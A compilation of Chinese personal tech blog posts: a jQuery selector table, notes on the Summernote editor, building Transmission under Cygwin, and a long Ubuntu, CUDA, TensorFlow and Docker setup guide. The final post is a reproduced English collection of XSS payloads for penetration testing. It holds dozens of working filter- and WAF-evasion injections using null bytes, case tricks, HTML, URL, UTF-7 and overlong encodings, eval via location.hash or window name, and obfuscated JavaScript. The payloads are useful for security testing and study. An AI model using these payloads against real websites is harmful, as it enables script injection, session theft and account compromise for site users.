s1,s2,s3	$("th,td,.intro")	所有带有匹配选择的元素

[attribute]	$("[href]")	所有带有 href 属性的元素
[attribute=value]	$("[href='#']")	所有 href 属性的值等于 "#" 的元素
[attribute!=value]	$("[href!='#']")	所有 href 属性的值不等于 "#" 的元素
[attribute$=value]	$("[href$='.jpg']")	所有 href 属性的值包含以 ".jpg" 结尾的元素

:input	$(":input")	所有 <input> 元素
:text	$(":text")	所有 type="text" 的 <input> 元素
:password	$(":password")	所有 type="password" 的 <input> 元素
:radio	$(":radio")	所有 type="radio" 的 <input> 元素
:checkbox	$(":checkbox")	所有 type="checkbox" 的 <input> 元素
:submit	$(":submit")	所有 type="submit" 的 <input> 元素
:reset	$(":reset")	所有 type="reset" 的 <input> 元素
:button	$(":button")	所有 type="button" 的 <input> 元素
:image	$(":image")	所有 type="image" 的 <input> 元素
:file	$(":file")	所有 type="file" 的 <input> 元素

:enabled	$(":enabled")	所有激活的 input 元素
:disabled	$(":disabled")	所有禁用的 input 元素
:selected	$(":selected")	所有被选取的 input 元素
:checked	$(":checked")	所有被选中的 input 元素

vps版博客更新使用summernote编辑器

Tue, 24 Jan 2017 03:30:44 GMT

之前使用的bootstrap的html5富文本编辑器，虽然能够解决大部分问题，但是有一些小的细节并不满意。

更新以后，可以直接上传图片，以data的方式存在正文，但不推荐直接使用，图床更好。
可以正常显示code view，可以仔细修改细节了。
可以随正文长短来缩放div框大小。
可以全屏化。
解决有图片的文章选择问题。

总的来说这次更新还是很有必要，使用方便很多。

就酱。新春快乐！

windows下编译transmission

Tue, 24 Jan 2017 03:21:33 GMT

最近玩pt，决定改一点源码实现一些功能。utorrent闭源，那就用老朋友transmission好了。

babun尝试了半天没成功，最后还是重新用cygwin来编译。

64位系统，使用32位cygwin，目标32位exe。

首先是transmission源码：

https://github.com/cfpp2p/transmission/tree/cygwin

然后安装cygwin，安装部件参考 debian部分的dependence 。

bison
flex
gettext-devel
libtool
make
gcc g++
patch
pkg-config
wget

https://github.com/transmission/transmission/wiki/Building-Transmission

也可以参考cygwin版transmission作者写的比较老点的编译指导。顺便他解释了一下为什么采用2.7版本的transmission而不是更新的。

https://sourceforge.net/p/transmissiondaemon/discussion/general/thread/acc52fa2/

编译过程，先运行autogen.sh，然后make -j 4。成品在remote目录的.lib下。

当然了，这里有三方gui组件和编译成品。没有特殊需求可以直接使用这个。

https://sourceforge.net/projects/transmissiondaemon/files/?source=navbar

顺便贴一段代码

transmission/libtransmission/announcer-http.c

evbuffer_add_printf( buf, "%s"
"%c"
"info_hash=%s"
"&peer_id=%*.*s"
"&port=%d"
"&uploaded=%" PRIu64
"&downloaded=%" PRIu64
"&left=%" PRIu64
"&numwant=%d"
"&key=%x"
"&compact=1"
"&supportcrypto=1",
req->url,
strchr( req->url, '?' ) ? '&' : '?',
escaped_info_hash,
PEER_ID_LEN, PEER_ID_LEN, req->peer_id,
req->port,
req->up,
req->down,
req->left,
req->numwant,
req->key );

ubuntu安装（历险）记

Sat, 30 Jun 2018 08:25:42 GMT

目标：安装ubuntu+Cuda等+tensorflow

主要参考文章为 http://www.52nlp.cn/%e6%b7%b1%e5%ba%a6%e5%ad%a6%e4%b9%a0%e4%b8%bb%e6%9c%ba%e7%8e%af%e5%a2%83%e9%85%8d%e7%bd%ae-ubuntu-16-04-nvidia-gtx-1080-cuda-8

1.首先使用u盘安装ubuntu

用UEFI应该可以直接将光盘解压到U盘中启动，grub引导亦可。

grub引导，需解压iso中vmlinuz和initrd到对应文件夹，iso改名后放到根目录：

title [13]--ISO UBUNTU
find --set-root /ubuntu.iso
kernel /ubuntu/vmlinuz.efi boot=casper iso-scan/filename=/ubuntu.iso nomodeset ro
initrd /ubuntu/initrd.lz
boot

开机狂点F10-F12，选择U盘启动到grub目录，通常可选择ubuntu启动。

然而，启动中很可能出现显示器无信号的情况，这时需要修改启动项。在grub界面按e，在splash前添加nomodeset，再启动。

安装完成后也有同样的问题，第一次需要添加相同参数才能启动。

启动后修复，此处修改 GRUB_CMDLINE_LINUX_DEFAULT ：

sudo nano /etc/default/grub

GRUB_DEFAULT=0
GRUB_HIDDEN_TIMEOUT=0
GRUB_HIDDEN_TIMEOUT_QUIET=true
GRUB_TIMEOUT=5
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash nomodeset"
GRUB_CMDLINE_LINUX=""

sudo update-grub

2.修改源

主要是加速。国内很多源，清华、163皆可。

cd /etc/apt/
sudo cp sources.list sources.list.bak
sudo vi sources.list

把下面的这些源添加到source.list文件头部：

deb http://mirrors.ustc.edu.cn/ubuntu/ xenial main restricted universe multiverse
deb http://mirrors.ustc.edu.cn/ubuntu/ xenial-security main restricted universe multiverse
deb http://mirrors.ustc.edu.cn/ubuntu/ xenial-updates main restricted universe multiverse
deb http://mirrors.ustc.edu.cn/ubuntu/ xenial-proposed main restricted universe multiverse
deb http://mirrors.ustc.edu.cn/ubuntu/ xenial-backports main restricted universe multiverse
deb-src http://mirrors.ustc.edu.cn/ubuntu/ xenial main restricted universe multiverse
deb-src http://mirrors.ustc.edu.cn/ubuntu/ xenial-security main restricted universe multiverse
deb-src http://mirrors.ustc.edu.cn/ubuntu/ xenial-updates main restricted universe multiverse
deb-src http://mirrors.ustc.edu.cn/ubuntu/ xenial-proposed main restricted universe multiverse
deb-src http://mirrors.ustc.edu.cn/ubuntu/ xenial-backports main restricted universe multiverse

最后更新源和更新已安装的包：

sudo apt-get update
sudo apt-get upgrade

3.安装驱动

最新驱动370，可安装更新驱动。

sudo add-apt-repository ppa:graphics-drivers/ppa

回车后继续:

sudo apt-get update
sudo apt-get install nvidia-370 mesa-common-dev freeglut3-dev

重启修改分辨率，驱动安装完成。

4.安装cuda

下载Cuda8 https://developer.nvidia.com/cuda-release-candidate-download，需注册。

下载最新的 runfile 版本，当前为 8.0.27 和 8.0.27.1。

sudo sh cuda_8.0.27_linux.run --tmpdir=/opt/temp/ --override

由于gcc版本问题，需要添加override参数，编译无问题。

同时，询问 Install NVIDIA Accelerated Graphics Driver for Linux-x86_64 时选n。

添加到 ~/.bashrc ：

export PATH=/usr/local/cuda-8.0/bin${PATH:+:${PATH}}
export LD_LIBRARY_PATH=/usr/local/cuda-8.0/lib64${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}}

测试
nvidia-smi

8.0.27.1类似：

sudo sh cuda_8.0.27.1_linux.run --tmpdir=/opt/temp/

5.安装Cudnn

下载cudnn https://developer.nvidia.com/rdp/cudnn-download，这里安装cudnn 5.1RC。

tar -zxvf cudnn-8.0-linux-x64-*
sudo cp cuda/include/cudnn.h /usr/local/cuda/include/
sudo cp cuda/lib64/libcudnn* /usr/local/cuda/lib64/
sudo chmod a+r /usr/local/cuda/include/cudnn.h
sudo chmod a+r /usr/local/cuda/lib64/libcudnn*

6.源码编译TensorFlow GPU

tensorflow9.0需从源码编译才支持cudnn5.1+cuda8.0。

sudo apt-get install python-pip
sudo apt-get install swig python-dev python-whee
pip install numpy

#如果编译目标切换python3 还需安装
sudo apt-get install python3-pip python3-dev libcurl3-dev
pip3 install numpy

注意，bazel需要最新版本（以解决后续配置、编译的workspace问题，这里使用0.3.1），查看在 https://github.com/bazelbuild/bazel/releases/ 。

sudo apt-get update
sudo apt-get install default-jre default-jdk
chmod +x bazel-0.3.1-installer-linux-x86_64.sh
./bazel-0.3.1-installer-linux-x86_64.sh --user

环境 ~/.bashrc中追加，其中 textminer 为用户名。

source /home/textminer/.bazel/bin/bazel-complete.bash
export PATH=$PATH:/home/textminer/.bazel/bin
source ~/.bashrc

再安装tensorflow。

sudo apt-get install libcurl3 libcurl3-dev zlib1g-dev git

下载源码

git clone https://github.com/tensorflow/tensorflow
#git是下载最新源码，也可以到release页面 https://github.com/tensorflow/tensorflow/releases 下载发布的源码，。推荐下载发布的源码。这里使用0.10rc。

./configure
#在询问是否开启GPU时选Y，其余可忽略
#如果编译python3，则python路径为/usr/bin/python3
#库路径通常为 /usr/local/lib/python3.5/dist-packages/

bazel build -c opt --config=cuda //tensorflow/cc:tutorials_example_trainer
#开始编译

编译过程中若出现类似如下信息

ERROR: /home/ggg/000/tensorflow/tensorflow/core/kernels/BUILD:1515:1: undeclared inclusion(s) in rule '//tensorflow/core/kernels:depth_space_ops_gpu':
this rule is missing dependency declarations for the following files included by 'tensorflow/core/kernels/depthtospace_op_gpu.cu.cc':
  '/usr/local/cuda-7.5/include/cuda_runtime.h'
  '/usr/local/cuda-7.5/include/host_config.h'
  '/usr/local/cuda-7.5/include/builtin_types.h'
  '/usr/local/cuda-7.5/include/device_types.h'
  '/usr/local/cuda-7.5/include/host_defines.h'
  '/usr/local/cuda-7.5/include/driver_types.h'
  '/usr/local/cuda-7.5/include/surface_types.h'

可参考如下issue解决https://github.com/tensorflow/tensorflow/issues/3589。我没有删除原来的那一行，而是直接添加cxx_builtin_include_directory: "/usr/local"，编译通过。

$ git diff third_party/gpus/crosstool/CROSSTOOL
diff --git a/third_party/gpus/crosstool/CROSSTOOL b/third_party/gpus/crosstool/CROSSTOOL
index 8db81a9..dfc568b 100644
--- a/third_party/gpus/crosstool/CROSSTOOL
+++ b/third_party/gpus/crosstool/CROSSTOOL
@@ -58,7 +58,7 @@ toolchain {
   # absolute locations and has no remote execution, yet. However, this will need
   # to be fixed, maybe with auto-detection?
   cxx_builtin_include_directory: "/usr/lib/gcc/"
-  cxx_builtin_include_directory: "/usr/local/include"
+  cxx_builtin_include_directory: "/usr/local"
   cxx_builtin_include_directory: "/usr/include"
   tool_path { name: "gcov" path: "/usr/bin/gcov" }然后编译python相关模块

bazel build -c opt --config=cuda //tensorflow/tools/pip_package:build_pip_package
bazel-bin/tensorflow/tools/pip_package/build_pip_package /tmp/tensorflow_pkg
sudo pip install /tmp/tensorflow_pkg/tensorflow-0.9.0-py2-none-any.whl

至此，tensorflow完成。

7.Docker安装tensorflow

如果源码方式感觉麻烦，或者老是失败，可以选择docker安装tensorflow。

首先，参照官方教程 https://docs.docker.com/engine/installation/linux/ubuntulinux/ 安装docker：

$ sudo apt-get update
$ sudo apt-get install apt-transport-https ca-certificates
$ sudo apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D

sudo vi /etc/apt/sources.list.d/docker.list
deb https://apt.dockerproject.org/repo ubuntu-xenial main

$ sudo apt-get update
$ sudo apt-get install linux-image-extra-$(uname -r) linux-image-extra-virtual
$ sudo apt-get install docker-engine

# If you have nvidia-docker 1.0 installed: we need to remove it and all existing GPU containers
docker volume ls -q -f driver=nvidia-docker | xargs -r -I{} -n1 docker ps -q -a -f volume={} | xargs -r docker rm -f
sudo apt-get purge -y nvidia-docker

# Add the package repositories
curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | \
  sudo apt-key add -
distribution=$(. /etc/os-release;echo $ID$VERSION_ID)
curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | \
  sudo tee /etc/apt/sources.list.d/nvidia-docker.list
sudo apt-get update

# Install nvidia-docker2 and reload the Docker daemon configuration
sudo apt-get install -y nvidia-docker2
sudo pkill -SIGHUP dockerd

# Test nvidia-smi with the latest official CUDA image
docker run --runtime=nvidia --rm nvidia/cuda nvidia-smi

旧：

并且安装nvidia-docker https://github.com/NVIDIA/nvidia-docker ：

#从https://github.com/NVIDIA/nvidia-docker/releases下载好最新版本
sudo dpkg -i /tmp/nvidia-docker*.deb
sudo systemctl start nvidia-docker

//end旧

然后启动docker

nvidia-docker run -it -p 8888:8888 tensorflow/tensorflow:latest-gpu

sudo docker run --runtime=nvidia -it -p 8888:8888 -v /home/nbd/wp/proj/Somiao-Pinyin/:/so:rw -p 4022:22 tensorflow/tensorflow:latest-gpu-py3

推荐在-p后多加几个映射端口，如-p 4022:22。

8.安装其他软件

主要参考：http://blog.csdn.net/liuqz2009/article/details/52087019#t0

搜狗输入法 http://pinyin.sogou.com/linux/?r=pinyin 。

sudo dpkg -i sogoupinyin*.deb
sudo apt-get install -f

安装chrome

sudo wget https://repo.fdzh.org/chrome/google-chrome.list -P /etc/apt/sources.list.d/
wget -q -O - https://dl.google.com/linux/linux_signing_key.pub  | sudo apt-key add -
sudo apt-get update
sudo apt-get install google-chrome-stable

安装Genymotion

https://www.virtualbox.org/wiki/Linux_Downloads
https://www.genymotion.com/thank-you-freemium/
sudo apt-get install libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev
arm translation：http://download.csdn.net/detail/yyddhh123/9070315
安装Genymotion后，发现无法上网，经过一番搜索后，发现只要在模拟器里面连接上那个默认的wifi就可以了

安装vlc

sudo add-apt-repository ppa:videolan/master-daily
sudo apt-get update
sudo apt-get install vlc

解决时区、时间问题

sudo timedatectl set-local-rtc 1

解决我的键盘ctrl、alt等都是shift的问题：

https://bitbucket.org/Swoogan/aziokbd

这一问题出现在一些背光键盘上，因为使用了非标准的协议。

如果过程中键盘无法使用别怕，可以打开系统设置里的屏幕键盘顶上。。

没什么难度，直接用dmks方案就好。完美补丁上。

如果打完补丁后wasd和上下左右交换了，按Fn+w即可。

如果安装使用过程中遇到需要访问某些不可访问网站的情况，可以安装proxychains，然后通过一些管s道s访问。

xss姿势

Fri, 05 Aug 2016 04:33:56 GMT

A ghetto collection of XSS payloads that I find to be useful during penetration tests, especially when faced with WAFs or application-based black-list filtering, but feel free to disagree or shoot your AK-74 in the air.
                                                                                                        
Simple character manipulations.  
Note that I use hexadecimal to represent characters that you probably can't type.  For example, \x00 equals a null byte, but you'll need to encode this properly depending on the context (URL encoding \x00 = %00).

HaRdc0r3 caS3 s3nsit1vITy bYpa55!
<sCrIpt>alert(1)</ScRipt>
<iMg srC=1 lAnGuAGE=VbS oNeRroR=mSgbOx(1)>

Null-byte character between HTML attribute name and equal sign (IE, Safari).
<img src='1' onerror\x00=alert(0) />

Slash character between HTML attribute name and equal sign (IE, Firefox, Chrome, Safari).
<img src='1' onerror/=alert(0) />

Vertical tab between HTML attribute name and equal sign (IE, Safari).
<img src='1' onerror\x0b=alert(0) />

Null-byte character between equal sign and JavaScript code (IE).
<img src='1' onerror=\x00alert(0) />

Null-byte character between characters of HTML attribute names (IE).
<img src='1' o\x00nerr\x00or=alert(0) />

Null-byte character before characters of HTML element names (IE).
<\x00img src='1' onerror=alert(0) />

Null-byte character after characters of HTML element names (IE, Safari).
<script\x00>alert(1)</script>

Null-byte character between characters of HTML element names (IE).
<i\x00mg src='1' onerror=alert(0) />

Use slashes instead of whitespace (IE, Firefox, Chrome, Safari).
<img/src='1'/onerror=alert(0)>

Use vertical tabs instead of whitespace (IE, Safari).
<img\x0bsrc='1'\x0bonerror=alert(0)>

Use quotes instead of whitespace in some situations (Safari).
<img src='1''onerror='alert(0)'>
<img src='1'"onerror="alert(0)">

Use null-bytes instead of whitespaces in some situations (IE).
<img src='1'\x00onerror=alert(0)>

Just don't use spaces (IE, Firefox, Chrome, Safari).
<img src='1'onerror=alert(0)>

Prefix URI schemes.
Firefox (\x09, \x0a, \x0d, \x20)
Chrome (Any character \x01 to \x20)
<iframe src="\x01javascript:alert(0)"></iframe> <!-- Example for Chrome -->

No greater-than characters needed (IE, Firefox, Chrome, Safari).
<img src='1' onerror='alert(0)' <

Extra less-than characters (IE, Firefox, Chrome, Safari).
<<script>alert(0)</script>

Backslash character between expression and opening parenthesis (IE).
<style>body{background-color:expression\(alert(1))}</style>

JavaScript Escaping
<script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script>

Encoding Galore.

HTML Attribute Encoding
<img src="1" onerror="alert(1)" />
<img src="1" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;" />
<iframe src="javascript:alert(1)"></iframe>
<iframe src="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"></iframe>

URL Encoding
<iframe src="javascript:alert(1)"></iframe>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>

CSS Hexadecimal Encoding (IE specific examples)
<div style="x:expression(alert(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div>
<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div>

JavaScript (hexadecimal, octal, and unicode)
<script>document.write('<img src=1 onerror=alert(1)>');</script>
<script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E');</script>
<script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076');</script>
<script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E');</script>

JavaScript (Decimal char codes)
<script>document.write('<img src=1 onerror=alert(1)>');</script>
<script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));</script>

JavaScript (Unicode function and variable names)
<script>alert(123)</script>
<script>\u0061\u006C\u0065\u0072\u0074(123)</script>

Overlong UTF-8 (SiteMinder is awesome!)
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2

<img src="1" onnerror="alert(1)">
%E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE

UTF-7 (Missing charset?)
<img src="1" onerror="alert(1)" />
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-

Unicode .NET Ugliness
<script>alert(1)</script>
%uff1cscript%uff1ealert(1)%uff1c/script%uff1e

Classic ASP performs some unicode homoglyphic translations... don't ask why...
<img src="1" onerror="alert('1')">
%u3008img%20src%3D%221%22%20onerror%3D%22alert(%uFF071%uFF07)%22%u232A

Useless and/or Useful features.

HTML 5 (Not comphrensive)
<video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)" />
<video src="http://www.w3schools.com/html5/movie.ogg" onloadstart="alert(1)" />

Usuage of non-existent elements (IE)
<blah style="blah:expression(alert(1))" />

CSS Comments (IE)
<div style="z:exp/*anything*/res/*here*/sion(alert(1))" />

Alternate ways of executing JavaScript functions
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
<script>top['alert'](3)</script>

Split up JavaScript into HTML attributes
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>

HTML is parsed before JavaScript
<script>
var junk = '</script><script>alert(1)</script>';
</script>

HTML is parsed before CSS
<style>
body { background-image:url('http://www.blah.com/</style><script>alert(1)</script>'); }
</style>

XSS in XML documents [doctype = text/xml] (Firefox, Chrome, Safari).
<?xml version="1.0" ?>
<someElement>
	<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>
</someElement>

URI Schemes
<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe> (IE)
<iframe src="data:text/html,<script>alert(0)</script>"></iframe> (Firefox, Chrome, Safari)
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> (Firefox, Chrome, Safari)

HTTP Parameter Pollution
http://target.com/something.xxx?a=val1&a=val2
ASP.NET 	a = val1,val2
ASP 		a = val1,val2
JSP 		a = val1
PHP 		a = val2

Two Stage XSS via fragment identifier (bypass length restrictions / avoid server logging)
<script>eval(location.hash.slice(1))</script>
<script>eval(location.hash)</script> (Firefox)

http://target.com/something.jsp?inject=<script>eval(location.hash.slice(1))</script>#alert(1)

Two Stage XSS via name attribute
<iframe src="http://target.com/something.jsp?inject=<script>eval(name)</script>" name="alert(1)"></iframe>

Non-alphanumeric crazyness...
<script>
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();
</script>

<script>
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